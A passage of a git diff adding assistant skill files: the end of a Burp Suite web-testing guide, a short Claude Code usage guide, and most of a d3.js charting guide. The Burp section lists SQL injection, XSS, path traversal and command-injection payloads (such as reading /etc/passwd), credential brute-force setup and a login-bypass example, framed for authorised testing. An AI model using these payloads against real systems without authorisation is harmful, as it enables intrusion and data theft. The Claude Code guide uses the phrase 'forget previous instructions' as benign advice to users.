3. Check **Issues** tab for discovered vulnerabilities
|
||||
|
||||
#### Review Identified Issues
|
||||
Analyze scan findings:
|
||||
|
||||
1. Select scan task in Dashboard
|
||||
2. Go to **Issues** tab
|
||||
3. Click issue to view:
|
||||
- **Advisory**: Description and remediation
|
||||
- **Request**: Triggering HTTP request
|
||||
- **Response**: Server response showing vulnerability
|
||||
|
||||
### Phase 6: Intruder Attacks
|
||||
|
||||
#### Configure Intruder
|
||||
Set up automated attack:
|
||||
|
||||
1. Send request to Intruder (right-click > Send to Intruder)
|
||||
2. Go to **Intruder** tab
|
||||
3. Define payload positions using § markers
|
||||
4. Select attack type
|
||||
|
||||
#### Attack Types
|
||||
|
||||
| Type | Description | Use Case |
|
||||
|------|-------------|----------|
|
||||
| Sniper | Single position, iterate payloads | Fuzzing one parameter |
|
||||
| Battering ram | Same payload all positions | Credential testing |
|
||||
| Pitchfork | Parallel payload iteration | Username:password pairs |
|
||||
| Cluster bomb | All payload combinations | Full brute force |
|
||||
|
||||
#### Configure Payloads
|
||||
|
||||
```
|
||||
Positions Tab:
|
||||
POST /login HTTP/1.1
|
||||
...
|
||||
username=§admin§&password=§password§
|
||||
|
||||
Payloads Tab:
|
||||
Set 1: admin, user, test, guest
|
||||
Set 2: password, 123456, admin, letmein
|
||||
```
|
||||
|
||||
#### Analyze Results
|
||||
Review attack output:
|
||||
|
||||
- Sort by response length to find anomalies
|
||||
- Filter by status code for successful attempts
|
||||
- Use grep to search for specific strings
|
||||
- Export results for documentation
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Keyboard Shortcuts
|
||||
| Action | Windows/Linux | macOS |
|
||||
|--------|---------------|-------|
|
||||
| Forward request | Ctrl+F | Cmd+F |
|
||||
| Drop request | Ctrl+D | Cmd+D |
|
||||
| Send to Repeater | Ctrl+R | Cmd+R |
|
||||
| Send to Intruder | Ctrl+I | Cmd+I |
|
||||
| Toggle intercept | Ctrl+T | Cmd+T |
|
||||
|
||||
### Common Testing Payloads
|
||||
|
||||
```
|
||||
# SQL Injection
|
||||
' OR '1'='1
|
||||
' OR '1'='1'--
|
||||
1 UNION SELECT NULL--
|
||||
|
||||
# XSS
|
||||
<script>alert(1)</script>
|
||||
"><img src=x onerror=alert(1)>
|
||||
javascript:alert(1)
|
||||
|
||||
# Path Traversal
|
||||
../../../etc/passwd
|
||||
..\..\..\..\windows\win.ini
|
||||
|
||||
# Command Injection
|
||||
; ls -la
|
||||
| cat /etc/passwd
|
||||
`whoami`
|
||||
```
|
||||
|
||||
### Request Modification Tips
|
||||
- Right-click for context menu options
|
||||
- Use decoder for encoding/decoding
|
||||
- Compare requests using Comparer tool
|
||||
- Save interesting requests to project
|
||||
|
||||
## Constraints and Guardrails
|
||||
|
||||
### Operational Boundaries
|
||||
- Test only authorized applications
|
||||
- Configure scope to prevent accidental out-of-scope testing
|
||||
- Rate-limit scans to avoid denial of service
|
||||
- Document all findings and actions
|
||||
|
||||
### Technical Limitations
|
||||
- Community Edition lacks automated scanner
|
||||
- Some sites may block proxy traffic
|
||||
- HSTS/certificate pinning may require additional configuration
|
||||
- Heavy scanning may trigger WAF blocks
|
||||
|
||||
### Best Practices
|
||||
- Always set target scope before extensive testing
|
||||
- Use Burp's browser for reliable interception
|
||||
- Save project regularly to preserve work
|
||||
- Review scan results manually for false positives
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Business Logic Testing
|
||||
|
||||
**Scenario**: E-commerce price manipulation
|
||||
|
||||
1. Add item to cart normally, intercept request
|
||||
2. Identify `price=9999` parameter in POST body
|
||||
3. Modify to `price=1`
|
||||
4. Forward request
|
||||
5. Complete checkout at manipulated price
|
||||
|
||||
**Finding**: Server trusts client-provided price values.
|
||||
|
||||
### Example 2: Authentication Bypass
|
||||
|
||||
**Scenario**: Testing login form
|
||||
|
||||
1. Submit valid credentials, capture request in Repeater
|
||||
2. Send to Repeater for testing
|
||||
3. Try: `username=admin' OR '1'='1'--`
|
||||
4. Observe successful login response
|
||||
|
||||
**Finding**: SQL injection in authentication.
|
||||
|
||||
### Example 3: Information Disclosure
|
||||
|
||||
**Scenario**: Error-based information gathering
|
||||
|
||||
1. Navigate to product page, observe `productId` parameter
|
||||
2. Send request to Repeater
|
||||
3. Change `productId=1` to `productId=test`
|
||||
4. Observe verbose error revealing framework version
|
||||
|
||||
**Finding**: Apache Struts 2.5.12 disclosed in stack trace.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Browser Not Connecting Through Proxy
|
||||
- Verify proxy listener is active (Proxy > Options)
|
||||
- Check browser proxy settings point to 127.0.0.1:8080
|
||||
- Ensure no firewall blocking local connections
|
||||
- Use Burp's embedded browser for reliable setup
|
||||
|
||||
### HTTPS Interception Failing
|
||||
- Install Burp CA certificate in browser/system
|
||||
- Navigate to http://burp to download certificate
|
||||
- Add certificate to trusted roots
|
||||
- Restart browser after installation
|
||||
|
||||
### Slow Performance
|
||||
- Limit scope to reduce processing
|
||||
- Disable unnecessary extensions
|
||||
- Increase Java heap size in startup options
|
||||
- Close unused Burp tabs and features
|
||||
|
||||
### Requests Not Being Intercepted
|
||||
- Verify "Intercept on" is enabled
|
||||
- Check intercept rules aren't filtering target
|
||||
- Ensure browser is using Burp proxy
|
||||
- Verify target isn't using unsupported protocol
|
||||
68
skills/claude-code-guide/SKILL.md
Normal file
68
skills/claude-code-guide/SKILL.md
Normal file
@@ -0,0 +1,68 @@
|
||||
---
|
||||
name: Claude Code Guide
|
||||
description: Master guide for using Claude Code effectively. Includes configuration templates, prompting strategies "Thinking" keywords, debugging techniques, and best practices for interacting with the agent.
|
||||
---
|
||||
|
||||
# Claude Code Guide
|
||||
|
||||
## Purpose
|
||||
|
||||
To provide a comprehensive reference for configuring and using Claude Code (the agentic coding tool) to its full potential. This skill synthesizes best practices, configuration templates, and advanced usage patterns.
|
||||
|
||||
## Configuration (`CLAUDE.md`)
|
||||
|
||||
When starting a new project, create a `CLAUDE.md` file in the root directory to guide the agent.
|
||||
|
||||
### Template (General)
|
||||
|
||||
```markdown
|
||||
# Project Guidelines
|
||||
|
||||
## Commands
|
||||
|
||||
- Run app: `npm run dev`
|
||||
- Test: `npm test`
|
||||
- Build: `npm run build`
|
||||
|
||||
## Code Style
|
||||
|
||||
- Use TypeScript for all new code.
|
||||
- Functional components with Hooks for React.
|
||||
- Tailwind CSS for styling.
|
||||
- Early returns for error handling.
|
||||
|
||||
## Workflow
|
||||
|
||||
- Read `README.md` first to understand project context.
|
||||
- Before editing, read the file content.
|
||||
- After editing, run tests to verify.
|
||||
```
|
||||
|
||||
## Advanced Features
|
||||
|
||||
### Thinking Keywords
|
||||
|
||||
Use these keywords in your prompts to trigger deeper reasoning from the agent:
|
||||
|
||||
- "Think step-by-step"
|
||||
- "Analyze the root cause"
|
||||
- "Plan before executing"
|
||||
- "Verify your assumptions"
|
||||
|
||||
### Debugging
|
||||
|
||||
If the agent is stuck or behaving unexpectedly:
|
||||
|
||||
1. **Clear Context**: Start a new session or ask the agent to "forget previous instructions" if confused.
|
||||
2. **Explicit Instructions**: Be extremely specific about paths, filenames, and desired outcomes.
|
||||
3. **Logs**: Ask the agent to "check the logs" or "run the command with verbose output".
|
||||
|
||||
## Best Practices
|
||||
|
||||
1. **Small Contexts**: Don't dump the entire codebase into the context. Use `grep` or `find` to locate relevant files first.
|
||||
2. **Iterative Development**: Ask for small changes, verify, then proceed.
|
||||
3. **Feedback Loop**: If the agent makes a mistake, correct it immediately and ask it to "add a lesson" to its memory (if supported) or `CLAUDE.md`.
|
||||
|
||||
## Reference
|
||||
|
||||
Based on [Claude Code Guide by zebbern](https://github.com/zebbern/claude-code-guide).
|
||||
Submodule skills/claude-d3js-skill deleted from e198c87d03
820
skills/claude-d3js-skill/SKILL.md
Normal file
820
skills/claude-d3js-skill/SKILL.md
Normal file
@@ -0,0 +1,820 @@
|
||||
---
|
||||
name: d3-viz
|
||||
description: Creating interactive data visualisations using d3.js. This skill should be used when creating custom charts, graphs, network diagrams, geographic visualisations, or any complex SVG-based data visualisation that requires fine-grained control over visual elements, transitions, or interactions. Use this for bespoke visualisations beyond standard charting libraries, whether in React, Vue, Svelte, vanilla JavaScript, or any other environment.
|
||||
---
|
||||
|
||||
# D3.js Visualisation
|
||||
|
||||
## Overview
|
||||
|
||||
This skill provides guidance for creating sophisticated, interactive data visualisations using d3.js. D3.js (Data-Driven Documents) excels at binding data to DOM elements and applying data-driven transformations to create custom, publication-quality visualisations with precise control over every visual element. The techniques work across any JavaScript environment, including vanilla JavaScript, React, Vue, Svelte, and other frameworks.
|
||||
|
||||
## When to use d3.js
|
||||
|
||||
**Use d3.js for:**
|
||||
- Custom visualisations requiring unique visual encodings or layouts
|
||||
- Interactive explorations with complex pan, zoom, or brush behaviours
|
||||
- Network/graph visualisations (force-directed layouts, tree diagrams, hierarchies, chord diagrams)
|
||||
- Geographic visualisations with custom projections
|
||||
- Visualisations requiring smooth, choreographed transitions
|
||||
- Publication-quality graphics with fine-grained styling control
|
||||
- Novel chart types not available in standard libraries
|
||||
|
||||
**Consider alternatives for:**
|
||||
- 3D visualisations - use Three.js instead
|
||||
|
||||
## Core workflow
|
||||
|
||||
### 1. Set up d3.js
|
||||
|
||||
Import d3 at the top of your script:
|
||||
|
||||
```javascript
|
||||
import * as d3 from 'd3';
|
||||
```
|
||||
|
||||
Or use the CDN version (7.x):
|
||||
|
||||
```html
|
||||
<script src="https://d3js.org/d3.v7.min.js"></script>
|
||||
```
|
||||
|
||||
All modules (scales, axes, shapes, transitions, etc.) are accessible through the `d3` namespace.
|
||||
|
||||
### 2. Choose the integration pattern
|
||||
|
||||
**Pattern A: Direct DOM manipulation (recommended for most cases)**
|
||||
Use d3 to select DOM elements and manipulate them imperatively. This works in any JavaScript environment:
|
||||
|
||||
```javascript
|
||||
function drawChart(data) {
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select('#chart'); // Select by ID, class, or DOM element
|
||||
|
||||
// Clear previous content
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
// Set up dimensions
|
||||
const width = 800;
|
||||
const height = 400;
|
||||
const margin = { top: 20, right: 30, bottom: 40, left: 50 };
|
||||
|
||||
// Create scales, axes, and draw visualisation
|
||||
// ... d3 code here ...
|
||||
}
|
||||
|
||||
// Call when data changes
|
||||
drawChart(myData);
|
||||
```
|
||||
|
||||
**Pattern B: Declarative rendering (for frameworks with templating)**
|
||||
Use d3 for data calculations (scales, layouts) but render elements via your framework:
|
||||
|
||||
```javascript
|
||||
function getChartElements(data) {
|
||||
const xScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.value)])
|
||||
.range([0, 400]);
|
||||
|
||||
return data.map((d, i) => ({
|
||||
x: 50,
|
||||
y: i * 30,
|
||||
width: xScale(d.value),
|
||||
height: 25
|
||||
}));
|
||||
}
|
||||
|
||||
// In React: {getChartElements(data).map((d, i) => <rect key={i} {...d} fill="steelblue" />)}
|
||||
// In Vue: v-for directive over the returned array
|
||||
// In vanilla JS: Create elements manually from the returned data
|
||||
```
|
||||
|
||||
Use Pattern A for complex visualisations with transitions, interactions, or when leveraging d3's full capabilities. Use Pattern B for simpler visualisations or when your framework prefers declarative rendering.
|
||||
|
||||
### 3. Structure the visualisation code
|
||||
|
||||
Follow this standard structure in your drawing function:
|
||||
|
||||
```javascript
|
||||
function drawVisualization(data) {
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select('#chart'); // Or pass a selector/element
|
||||
svg.selectAll("*").remove(); // Clear previous render
|
||||
|
||||
// 1. Define dimensions
|
||||
const width = 800;
|
||||
const height = 400;
|
||||
const margin = { top: 20, right: 30, bottom: 40, left: 50 };
|
||||
const innerWidth = width - margin.left - margin.right;
|
||||
const innerHeight = height - margin.top - margin.bottom;
|
||||
|
||||
// 2. Create main group with margins
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`);
|
||||
|
||||
// 3. Create scales
|
||||
const xScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.x)])
|
||||
.range([0, innerWidth]);
|
||||
|
||||
const yScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.y)])
|
||||
.range([innerHeight, 0]); // Note: inverted for SVG coordinates
|
||||
|
||||
// 4. Create and append axes
|
||||
const xAxis = d3.axisBottom(xScale);
|
||||
const yAxis = d3.axisLeft(yScale);
|
||||
|
||||
g.append("g")
|
||||
.attr("transform", `translate(0,${innerHeight})`)
|
||||
.call(xAxis);
|
||||
|
||||
g.append("g")
|
||||
.call(yAxis);
|
||||
|
||||
// 5. Bind data and create visual elements
|
||||
g.selectAll("circle")
|
||||
.data(data)
|
||||
.join("circle")
|
||||
.attr("cx", d => xScale(d.x))
|
||||
.attr("cy", d => yScale(d.y))
|
||||
.attr("r", 5)
|
||||
.attr("fill", "steelblue");
|
||||
}
|
||||
|
||||
// Call when data changes
|
||||
drawVisualization(myData);
|
||||
```
|
||||
|
||||
### 4. Implement responsive sizing
|
||||
|
||||
Make visualisations responsive to container size:
|
||||
|
||||
```javascript
|
||||
function setupResponsiveChart(containerId, data) {
|
||||
const container = document.getElementById(containerId);
|
||||
const svg = d3.select(`#${containerId}`).append('svg');
|
||||
|
||||
function updateChart() {
|
||||
const { width, height } = container.getBoundingClientRect();
|
||||
svg.attr('width', width).attr('height', height);
|
||||
|
||||
// Redraw visualisation with new dimensions
|
||||
drawChart(data, svg, width, height);
|
||||
}
|
||||
|
||||
// Update on initial load
|
||||
updateChart();
|
||||
|
||||
// Update on window resize
|
||||
window.addEventListener('resize', updateChart);
|
||||
|
||||
// Return cleanup function
|
||||
return () => window.removeEventListener('resize', updateChart);
|
||||
}
|
||||
|
||||
// Usage:
|
||||
// const cleanup = setupResponsiveChart('chart-container', myData);
|
||||
// cleanup(); // Call when component unmounts or element removed
|
||||
```
|
||||
|
||||
Or use ResizeObserver for more direct container monitoring:
|
||||
|
||||
```javascript
|
||||
function setupResponsiveChartWithObserver(svgElement, data) {
|
||||
const observer = new ResizeObserver(() => {
|
||||
const { width, height } = svgElement.getBoundingClientRect();
|
||||
d3.select(svgElement)
|
||||
.attr('width', width)
|
||||
.attr('height', height);
|
||||
|
||||
// Redraw visualisation
|
||||
drawChart(data, d3.select(svgElement), width, height);
|
||||
});
|
||||
|
||||
observer.observe(svgElement.parentElement);
|
||||
return () => observer.disconnect();
|
||||
}
|
||||
```
|
||||
|
||||
## Common visualisation patterns
|
||||
|
||||
### Bar chart
|
||||
|
||||
```javascript
|
||||
function drawBarChart(data, svgElement) {
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select(svgElement);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 400;
|
||||
const margin = { top: 20, right: 30, bottom: 40, left: 50 };
|
||||
const innerWidth = width - margin.left - margin.right;
|
||||
const innerHeight = height - margin.top - margin.bottom;
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`);
|
||||
|
||||
const xScale = d3.scaleBand()
|
||||
.domain(data.map(d => d.category))
|
||||
.range([0, innerWidth])
|
||||
.padding(0.1);
|
||||
|
||||
const yScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.value)])
|
||||
.range([innerHeight, 0]);
|
||||
|
||||
g.append("g")
|
||||
.attr("transform", `translate(0,${innerHeight})`)
|
||||
.call(d3.axisBottom(xScale));
|
||||
|
||||
g.append("g")
|
||||
.call(d3.axisLeft(yScale));
|
||||
|
||||
g.selectAll("rect")
|
||||
.data(data)
|
||||
.join("rect")
|
||||
.attr("x", d => xScale(d.category))
|
||||
.attr("y", d => yScale(d.value))
|
||||
.attr("width", xScale.bandwidth())
|
||||
.attr("height", d => innerHeight - yScale(d.value))
|
||||
.attr("fill", "steelblue");
|
||||
}
|
||||
|
||||
// Usage:
|
||||
// drawBarChart(myData, document.getElementById('chart'));
|
||||
```
|
||||
|
||||
### Line chart
|
||||
|
||||
```javascript
|
||||
const line = d3.line()
|
||||
.x(d => xScale(d.date))
|
||||
.y(d => yScale(d.value))
|
||||
.curve(d3.curveMonotoneX); // Smooth curve
|
||||
|
||||
g.append("path")
|
||||
.datum(data)
|
||||
.attr("fill", "none")
|
||||
.attr("stroke", "steelblue")
|
||||
.attr("stroke-width", 2)
|
||||
.attr("d", line);
|
||||
```
|
||||
|
||||
### Scatter plot
|
||||
|
||||
```javascript
|
||||
g.selectAll("circle")
|
||||
.data(data)
|
||||
.join("circle")
|
||||
.attr("cx", d => xScale(d.x))
|
||||
.attr("cy", d => yScale(d.y))
|
||||
.attr("r", d => sizeScale(d.size)) // Optional: size encoding
|
||||
.attr("fill", d => colourScale(d.category)) // Optional: colour encoding
|
||||
.attr("opacity", 0.7);
|
||||
```
|
||||
|
||||
### Chord diagram
|
||||
|
||||
A chord diagram shows relationships between entities in a circular layout, with ribbons representing flows between them:
|
||||
|
||||
```javascript
|
||||
function drawChordDiagram(data) {
|
||||
// data format: array of objects with source, target, and value
|
||||
// Example: [{ source: 'A', target: 'B', value: 10 }, ...]
|
||||
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select('#chart');
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 600;
|
||||
const height = 600;
|
||||
const innerRadius = Math.min(width, height) * 0.3;
|
||||
const outerRadius = innerRadius + 30;
|
||||
|
||||
// Create matrix from data
|
||||
const nodes = Array.from(new Set(data.flatMap(d => [d.source, d.target])));
|
||||
const matrix = Array.from({ length: nodes.length }, () => Array(nodes.length).fill(0));
|
||||
|
||||
data.forEach(d => {
|
||||
const i = nodes.indexOf(d.source);
|
||||
const j = nodes.indexOf(d.target);
|
||||
matrix[i][j] += d.value;
|
||||
matrix[j][i] += d.value;
|
||||
});
|
||||
|
||||
// Create chord layout
|
||||
const chord = d3.chord()
|
||||
.padAngle(0.05)
|
||||
.sortSubgroups(d3.descending);
|
||||
|
||||
const arc = d3.arc()
|
||||
.innerRadius(innerRadius)
|
||||
.outerRadius(outerRadius);
|
||||
|
||||
const ribbon = d3.ribbon()
|
||||
.source(d => d.source)
|
||||
.target(d => d.target);
|
||||
|
||||
const colourScale = d3.scaleOrdinal(d3.schemeCategory10)
|
||||
.domain(nodes);
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${width / 2},${height / 2})`);
|
||||
|
||||
const chords = chord(matrix);
|
||||
|
||||
// Draw ribbons
|
||||
g.append("g")
|
||||
.attr("fill-opacity", 0.67)
|
||||
.selectAll("path")
|
||||
.data(chords)
|
||||
.join("path")
|
||||
.attr("d", ribbon)
|
||||
.attr("fill", d => colourScale(nodes[d.source.index]))
|
||||
.attr("stroke", d => d3.rgb(colourScale(nodes[d.source.index])).darker());
|
||||
|
||||
// Draw groups (arcs)
|
||||
const group = g.append("g")
|
||||
.selectAll("g")
|
||||
.data(chords.groups)
|
||||
.join("g");
|
||||
|
||||
group.append("path")
|
||||
.attr("d", arc)
|
||||
.attr("fill", d => colourScale(nodes[d.index]))
|
||||
.attr("stroke", d => d3.rgb(colourScale(nodes[d.index])).darker());
|
||||
|
||||
// Add labels
|
||||
group.append("text")
|
||||
.each(d => { d.angle = (d.startAngle + d.endAngle) / 2; })
|
||||
.attr("dy", "0.31em")
|
||||
.attr("transform", d => `rotate(${(d.angle * 180 / Math.PI) - 90})translate(${outerRadius + 30})${d.angle > Math.PI ? "rotate(180)" : ""}`)
|
||||
.attr("text-anchor", d => d.angle > Math.PI ? "end" : null)
|
||||
.text((d, i) => nodes[i])
|
||||
.style("font-size", "12px");
|
||||
}
|
||||
```
|
||||
|
||||
### Heatmap
|
||||
|
||||
A heatmap uses colour to encode values in a two-dimensional grid, useful for showing patterns across categories:
|
||||
|
||||
```javascript
|
||||
function drawHeatmap(data) {
|
||||
// data format: array of objects with row, column, and value
|
||||
// Example: [{ row: 'A', column: 'X', value: 10 }, ...]
|
||||
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select('#chart');
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
const width = 800;
|
||||
const height = 600;
|
||||
const margin = { top: 100, right: 30, bottom: 30, left: 100 };
|
||||
const innerWidth = width - margin.left - margin.right;
|
||||
const innerHeight = height - margin.top - margin.bottom;
|
||||
|
||||
// Get unique rows and columns
|
||||
const rows = Array.from(new Set(data.map(d => d.row)));
|
||||
const columns = Array.from(new Set(data.map(d => d.column)));
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`);
|
||||
|
||||
// Create scales
|
||||
const xScale = d3.scaleBand()
|
||||
.domain(columns)
|
||||
.range([0, innerWidth])
|
||||
.padding(0.01);
|
||||
|
||||
const yScale = d3.scaleBand()
|
||||
.domain(rows)
|
||||
.range([0, innerHeight])
|
||||
.padding(0.01);
|
||||
|
||||
// Colour scale for values
|
||||
const colourScale = d3.scaleSequential(d3.interpolateYlOrRd)
|
||||
.domain([0, d3.max(data, d => d.value)]);
|
||||
|
||||
// Draw rectangles
|
||||
g.selectAll("rect")
|
||||
.data(data)
|
||||
.join("rect")
|
||||
.attr("x", d => xScale(d.column))
|
||||
.attr("y", d => yScale(d.row))
|
||||
.attr("width", xScale.bandwidth())
|
||||
.attr("height", yScale.bandwidth())
|
||||
.attr("fill", d => colourScale(d.value));
|
||||
|
||||
// Add x-axis labels
|
||||
svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`)
|
||||
.selectAll("text")
|
||||
.data(columns)
|
||||
.join("text")
|
||||
.attr("x", d => xScale(d) + xScale.bandwidth() / 2)
|
||||
.attr("y", -10)
|
||||
.attr("text-anchor", "middle")
|
||||
.text(d => d)
|
||||
.style("font-size", "12px");
|
||||
|
||||
// Add y-axis labels
|
||||
svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`)
|
||||
.selectAll("text")
|
||||
.data(rows)
|
||||
.join("text")
|
||||
.attr("x", -10)
|
||||
.attr("y", d => yScale(d) + yScale.bandwidth() / 2)
|
||||
.attr("dy", "0.35em")
|
||||
.attr("text-anchor", "end")
|
||||
.text(d => d)
|
||||
.style("font-size", "12px");
|
||||
|
||||
// Add colour legend
|
||||
const legendWidth = 20;
|
||||
const legendHeight = 200;
|
||||
const legend = svg.append("g")
|
||||
.attr("transform", `translate(${width - 60},${margin.top})`);
|
||||
|
||||
const legendScale = d3.scaleLinear()
|
||||
.domain(colourScale.domain())
|
||||
.range([legendHeight, 0]);
|
||||
|
||||
const legendAxis = d3.axisRight(legendScale)
|
||||
.ticks(5);
|
||||
|
||||
// Draw colour gradient in legend
|
||||
for (let i = 0; i < legendHeight; i++) {
|
||||
legend.append("rect")
|
||||
.attr("y", i)
|
||||
.attr("width", legendWidth)
|
||||
.attr("height", 1)
|
||||
.attr("fill", colourScale(legendScale.invert(i)));
|
||||
}
|
||||
|
||||
legend.append("g")
|
||||
.attr("transform", `translate(${legendWidth},0)`)
|
||||
.call(legendAxis);
|
||||
}
|
||||
```
|
||||
|
||||
### Pie chart
|
||||
|
||||
```javascript
|
||||
const pie = d3.pie()
|
||||
.value(d => d.value)
|
||||
.sort(null);
|
||||
|
||||
const arc = d3.arc()
|
||||
.innerRadius(0)
|
||||
.outerRadius(Math.min(width, height) / 2 - 20);
|
||||
|
||||
const colourScale = d3.scaleOrdinal(d3.schemeCategory10);
|
||||
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${width / 2},${height / 2})`);
|
||||
|
||||
g.selectAll("path")
|
||||
.data(pie(data))
|
||||
.join("path")
|
||||
.attr("d", arc)
|
||||
.attr("fill", (d, i) => colourScale(i))
|
||||
.attr("stroke", "white")
|
||||
.attr("stroke-width", 2);
|
||||
```
|
||||
|
||||
### Force-directed network
|
||||
|
||||
```javascript
|
||||
const simulation = d3.forceSimulation(nodes)
|
||||
.force("link", d3.forceLink(links).id(d => d.id).distance(100))
|
||||
.force("charge", d3.forceManyBody().strength(-300))
|
||||
.force("center", d3.forceCenter(width / 2, height / 2));
|
||||
|
||||
const link = g.selectAll("line")
|
||||
.data(links)
|
||||
.join("line")
|
||||
.attr("stroke", "#999")
|
||||
.attr("stroke-width", 1);
|
||||
|
||||
const node = g.selectAll("circle")
|
||||
.data(nodes)
|
||||
.join("circle")
|
||||
.attr("r", 8)
|
||||
.attr("fill", "steelblue")
|
||||
.call(d3.drag()
|
||||
.on("start", dragstarted)
|
||||
.on("drag", dragged)
|
||||
.on("end", dragended));
|
||||
|
||||
simulation.on("tick", () => {
|
||||
link
|
||||
.attr("x1", d => d.source.x)
|
||||
.attr("y1", d => d.source.y)
|
||||
.attr("x2", d => d.target.x)
|
||||
.attr("y2", d => d.target.y);
|
||||
|
||||
node
|
||||
.attr("cx", d => d.x)
|
||||
.attr("cy", d => d.y);
|
||||
});
|
||||
|
||||
function dragstarted(event) {
|
||||
if (!event.active) simulation.alphaTarget(0.3).restart();
|
||||
event.subject.fx = event.subject.x;
|
||||
event.subject.fy = event.subject.y;
|
||||
}
|
||||
|
||||
function dragged(event) {
|
||||
event.subject.fx = event.x;
|
||||
event.subject.fy = event.y;
|
||||
}
|
||||
|
||||
function dragended(event) {
|
||||
if (!event.active) simulation.alphaTarget(0);
|
||||
event.subject.fx = null;
|
||||
event.subject.fy = null;
|
||||
}
|
||||
```
|
||||
|
||||
## Adding interactivity
|
||||
|
||||
### Tooltips
|
||||
|
||||
```javascript
|
||||
// Create tooltip div (outside SVG)
|
||||
const tooltip = d3.select("body").append("div")
|
||||
.attr("class", "tooltip")
|
||||
.style("position", "absolute")
|
||||
.style("visibility", "hidden")
|
||||
.style("background-color", "white")
|
||||
.style("border", "1px solid #ddd")
|
||||
.style("padding", "10px")
|
||||
.style("border-radius", "4px")
|
||||
.style("pointer-events", "none");
|
||||
|
||||
// Add to elements
|
||||
circles
|
||||
.on("mouseover", function(event, d) {
|
||||
d3.select(this).attr("opacity", 1);
|
||||
tooltip
|
||||
.style("visibility", "visible")
|
||||
.html(`<strong>${d.label}</strong><br/>Value: ${d.value}`);
|
||||
})
|
||||
.on("mousemove", function(event) {
|
||||
tooltip
|
||||
.style("top", (event.pageY - 10) + "px")
|
||||
.style("left", (event.pageX + 10) + "px");
|
||||
})
|
||||
.on("mouseout", function() {
|
||||
d3.select(this).attr("opacity", 0.7);
|
||||
tooltip.style("visibility", "hidden");
|
||||
});
|
||||
```
|
||||
|
||||
### Zoom and pan
|
||||
|
||||
```javascript
|
||||
const zoom = d3.zoom()
|
||||
.scaleExtent([0.5, 10])
|
||||
.on("zoom", (event) => {
|
||||
g.attr("transform", event.transform);
|
||||
});
|
||||
|
||||
svg.call(zoom);
|
||||
```
|
||||
|
||||
### Click interactions
|
||||
|
||||
```javascript
|
||||
circles
|
||||
.on("click", function(event, d) {
|
||||
// Handle click (dispatch event, update app state, etc.)
|
||||
console.log("Clicked:", d);
|
||||
|
||||
// Visual feedback
|
||||
d3.selectAll("circle").attr("fill", "steelblue");
|
||||
d3.select(this).attr("fill", "orange");
|
||||
|
||||
// Optional: dispatch custom event for your framework/app to listen to
|
||||
// window.dispatchEvent(new CustomEvent('chartClick', { detail: d }));
|
||||
});
|
||||
```
|
||||
|
||||
## Transitions and animations
|
||||
|
||||
Add smooth transitions to visual changes:
|
||||
|
||||
```javascript
|
||||
// Basic transition
|
||||
circles
|
||||
.transition()
|
||||
.duration(750)
|
||||
.attr("r", 10);
|
||||
|
||||
// Chained transitions
|
||||
circles
|
||||
.transition()
|
||||
.duration(500)
|
||||
.attr("fill", "orange")
|
||||
.transition()
|
||||
.duration(500)
|
||||
.attr("r", 15);
|
||||
|
||||
// Staggered transitions
|
||||
circles
|
||||
.transition()
|
||||
.delay((d, i) => i * 50)
|
||||
.duration(500)
|
||||
.attr("cy", d => yScale(d.value));
|
||||
|
||||
// Custom easing
|
||||
circles
|
||||
.transition()
|
||||
.duration(1000)
|
||||
.ease(d3.easeBounceOut)
|
||||
.attr("r", 10);
|
||||
```
|
||||
|
||||
## Scales reference
|
||||
|
||||
### Quantitative scales
|
||||
|
||||
```javascript
|
||||
// Linear scale
|
||||
const xScale = d3.scaleLinear()
|
||||
.domain([0, 100])
|
||||
.range([0, 500]);
|
||||
|
||||
// Log scale (for exponential data)
|
||||
const logScale = d3.scaleLog()
|
||||
.domain([1, 1000])
|
||||
.range([0, 500]);
|
||||
|
||||
// Power scale
|
||||
const powScale = d3.scalePow()
|
||||
.exponent(2)
|
||||
.domain([0, 100])
|
||||
.range([0, 500]);
|
||||
|
||||
// Time scale
|
||||
const timeScale = d3.scaleTime()
|
||||
.domain([new Date(2020, 0, 1), new Date(2024, 0, 1)])
|
||||
.range([0, 500]);
|
||||
```
|
||||
|
||||
### Ordinal scales
|
||||
|
||||
```javascript
|
||||
// Band scale (for bar charts)
|
||||
const bandScale = d3.scaleBand()
|
||||
.domain(['A', 'B', 'C', 'D'])
|
||||
.range([0, 400])
|
||||
.padding(0.1);
|
||||
|
||||
// Point scale (for line/scatter categories)
|
||||
const pointScale = d3.scalePoint()
|
||||
.domain(['A', 'B', 'C', 'D'])
|
||||
.range([0, 400]);
|
||||
|
||||
// Ordinal scale (for colours)
|
||||
const colourScale = d3.scaleOrdinal(d3.schemeCategory10);
|
||||
```
|
||||
|
||||
### Sequential scales
|
||||
|
||||
```javascript
|
||||
// Sequential colour scale
|
||||
const colourScale = d3.scaleSequential(d3.interpolateBlues)
|
||||
.domain([0, 100]);
|
||||
|
||||
// Diverging colour scale
|
||||
const divScale = d3.scaleDiverging(d3.interpolateRdBu)
|
||||
.domain([-10, 0, 10]);
|
||||
```
|
||||
|
||||
## Best practices
|
||||
|
||||
